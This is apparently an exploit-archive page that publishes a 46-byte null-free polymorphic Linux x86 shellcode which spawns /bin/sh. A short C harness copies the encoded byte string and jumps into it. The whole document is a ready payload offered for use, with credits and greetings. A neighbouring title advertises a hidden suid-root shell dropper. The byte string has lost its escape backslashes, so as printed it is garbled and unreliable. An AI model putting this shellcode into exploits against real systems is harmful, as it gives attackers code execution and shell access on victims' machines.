[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Linux x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes
# Published : 2010-08-19
# Author :
# Previous Title : Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
# Next Title : 161 bytes Drop suid shell root in /tmp/.hiddenshell Linux Polymorphic Shellcode


#include <stdio.h>
#include <string.h>

/* 
 Aodrulez's /bin/sh Null-Free Polymorphic Shellcode.
 Shellcode size : 46 bytes.
 [Special Tnx to 'Chema Garcia (aka sch3m4)']
 Tested on : Ubuntu 8.04,Hardy Heron.
 Email : f3arm3d3ar[at]gmail.com
 Author: Aodrulez. (Atul Alex Cherian)
 Blog  : Aodrulez@blogspot.com
*/


char code[] = "xebx12x31xc9x5ex56x5fxb1x15x8ax06xfexc8x88x06x46xe2"
	      "xf7xffxe7xe8xe9xffxffxffx32xc1x32xcax52x69x30x74x69"
	      "x01x69x30x63x6ax6fx8axe4xb1x0cxcex81";

int main(int argc, char **argv)
{
	fprintf(stdout,"Aodrulez's Linux Polym0rphic Shellc0de.nShellcode Size: %d bytes.n",strlen(code));
        (*(void(*)()) code)();
return 0;

}


/*
Greetz Fly Out to:-
1] Amforked()    : My Mentor.
2] TheBlueGenius : My Boss ;-)
3] www.orchidseven.com
4] www.isac.org.in
5] www.Malcon.org -> World's first Malware Conference!
*/